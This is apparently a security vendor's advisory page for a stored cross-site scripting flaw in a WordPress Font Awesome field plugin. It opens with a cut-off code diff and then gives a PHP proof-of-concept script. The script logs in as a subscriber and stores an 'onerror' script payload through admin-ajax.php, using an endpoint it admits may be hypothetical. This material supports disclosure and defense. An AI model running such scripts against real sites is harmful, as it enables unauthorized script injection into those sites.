@@ -485,33 +453,32 @@
 			return $value;
 		}

-		public function v5_upgrade_compat_selected_field_sets( $selected_field_sets )
-		{
-			if ( is_array( $selected_field_sets ) && ! empty( $selected_field_sets ) ) {
-				foreach ( $selected_field_sets as $key => $field_set ) {
-					switch ( $field_set ) {
+		public function v5_upgrade_compat_selected_field_sets($selected_field_sets) {
+			if (is_array($selected_field_sets

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6415 - Advanced Custom Fields: Font Awesome Field <= 5.0.2 - Authenticated (Subscriber+) Stored Cross-Site Scripting via JSON Field

// Configuration - change these values
$target_url = 'http://example.com'; // WordPress installation URL (no trailing slash)
$username = 'attacker'; // WordPress subscriber username
$password = 'password'; // WordPress subscriber password

// Step 1: Login to WordPress
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url . '/wp-admin/') . '&testcookie=1');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
$response = curl_exec($ch);

// Check if login succeeded
if (strpos($response, 'wp-admin') === false) {
    die('[-] Login failed. Check credentials or URL.');
}
echo "[+] Logged in as subscriber: $usernamen";

// Step 2: Get a valid nonce and post ID (requires knowledge of a post/page that uses the Font Awesome field)
// For demonstration, we assume we know a valid post ID and field key.
// In a real scenario, you would enumerate posts with the Font Awesome field.
$post_id = 1; // Replace with actual post ID
$field_key = 'field_xxxxxx'; // Replace with actual ACF field key for Font Awesome field

// The payload - Stored XSS via JSON field value
$payload = '{"family":"classic","style":"solid","id":"star","label":"<img src=x onerror=alert(1)>","unicode":"f005"}';

// Step 3: Submit the payload via ACF field update (admin-ajax.php or REST)
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = array(
    'action' => 'acf/fields/font-awesome/update_preview', // Hypothetical AJAX action - adjust to actual vulnerable endpoint
    'post_id' => $post_id,
    'field_key' => $field_key,
    'value' => $payload
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);

if ($response === false) {
    die('[-] cURL error: ' . curl_error($ch));
}

// Step 4: Verify the XSS was stored by viewing the post
$view_url = $target_url . '/?p=' . $post_id;
curl_setopt($ch, CURLOPT_URL, $view_url);
curl_setopt($ch, CURLOPT_POST, 0);
$response = curl_exec($ch);

if (strpos($response, '<img src=x onerror=alert(1)>') !== false) {
    echo "[+] XSS payload successfully stored on post ID $post_id!n";
    echo "[+] Trigger URL: $view_urln";
} else {
    echo "[-] Payload not detected in response. Check field key and post ID.n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School